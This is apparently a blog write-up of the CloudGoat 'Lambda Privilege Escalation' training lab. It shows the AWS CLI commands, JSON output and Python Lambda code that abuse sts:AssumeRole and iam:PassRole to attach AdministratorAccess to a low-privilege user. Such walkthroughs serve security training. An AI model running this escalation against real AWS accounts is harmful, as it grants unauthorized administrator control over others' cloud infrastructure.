CloudGoat: Lambda Privilege Escalation

2 minute read

This scenario, we will start with chris user who has a permission to assume roles and we have 2 two roles that we can use to grant admin access to chris.

In this blog, I will use AWS cli profile chris for chris user.

Explore chris permissions

aws --profile chris iam list-attached-user-policies --user-name <chris-username>

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-lambda_privesc_###",
            "PolicyArn": "arn:aws:iam::###:policy/cg-chris-policy-lambda_privesc_###"
        }
    ]
}

And see what version it is

aws --profile chris iam get-policy --policy-arn arn:aws:iam::###:policy/cg-chris-policy-lambda_privesc_###

Result:

{
    "Policy": {
        "PolicyName": "cg-chris-policy-lambda_privesc_###",
        "Arn": "arn:aws:iam::###:policy/cg-chris-policy-lambda_privesc_###",
        "DefaultVersionId": "v1"
    }
}

See the policy document

aws --profile chris iam get-policy-version --policy-arn arn:aws:iam::###:policy/cg-lambdaManager-policy-lambda_privesc_### --version-id v1

Result:

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "chris"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1"
    }
}

From the result, The chris user can assume a role, so we will explore more to see what role that we got.

List roles

aws --profile chris iam list-roles

Result:

{
    "Roles": [
        {
            "RoleName": "cg-debug-role-lambda_privesc_###",
            "Arn": "arn:aws:iam::###:role/cg-debug-role-lambda_privesc_###",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "RoleName": "cg-lambdaManager-role-lambda_privesc_###",
            "RoleId": "AROAUHVVLMMSZX5YP5JV5",
            "Arn": "arn:aws:iam::###:role/cg-lambdaManager-role-lambda_privesc_###",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::###:user/chris-lambda_privesc_###"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ]
}

We got 2 interesting roles, one for a user and another one for lambda

cg-lambdaManager-role-lambda_privesc_### role allows chris user to assume the role itself. And cg-debug-role-lambda_privmesc_### role allows lambda to assume the role itself.

Let’s what each roles can do. First, list all attached role policies for lambda manager role

aws --profile chris iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_###

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-lambda_privesc_###",
            "PolicyArn": "arn:aws:iam::###:policy/cg-lambdaManager-policy-lambda_privesc_###"
        }
    ]
}

Let’s see the policy document.

aws --profile chris iam get-policy-version --policy-arn arn:aws:iam::###:policy/cg-lambdaManager-policy-lambda_privesc_### --version-id v1

Result:

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ]
        }
    }
}

Lambda Manager role can do anything with lambda and also has ability to pass a role to any AWS services.

Let’s see what another role can do

aws --profile chris iam list-attached-role-policies --role-name cg-debug-role-lambda_privesc_###

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

The lambda debug role have admin access policy, which is quite powerful policy.

Stop to think: We gonna gain privileged with admin access, by assuming the manager role to create lambda function, passing the cg-debug-role-lambda_privesc_### role to this function and using this function to attach the admin access policy to chris user.

Assume the manager role

aws --profile chris sts assume-role  --role-arn arn:aws:iam::###:role/cg-lambdaManager-role-lambda_privesc_### --role-session-name <whatever-you-want>

Result:

{
    "Credentials": {
        "AccessKeyId": "<access-key-id>",
        "SecretAccessKey": "<secret-access-key>",
        "SessionToken": "<session-token>",
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::###:assumed-role/cg-lambdaManager-role-lambda_privesc_###/<session-name>"
    }
}

We got AccessKeyId, ScretAccessKey and SessionToken. Now, we can create the lambda manager profile from this credentials.

If you don’t know how see here

I will use chris-lambda-manager as the lambda manager user.

Create lambda function

Create python file name lambda_function.py and archive file as zip file.

import boto3
def lambda_handler(event, context):
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName = '<chris-user-name>', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response

Create lambda function

aws --profile chris-lambda-manager lambda create-function --function-name admin_function --runtime python3.9 --role arn:aws:iam::###:role/cg-debug-role-lambda_privesc_### --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip

Invoke lambda function

Invoke lambda function

aws --profile chris-lambda-manager lambda invoke --function-name admin_function out.txt

Check chris user policy

aws --profile chris iam list-attached-user-policies --user-name <chris-username>

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-###",
            "PolicyArn": "arn:aws:iam::###:policy/cg-chris-policy-###"
        },
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

Now the chris user got admin access policy. 😈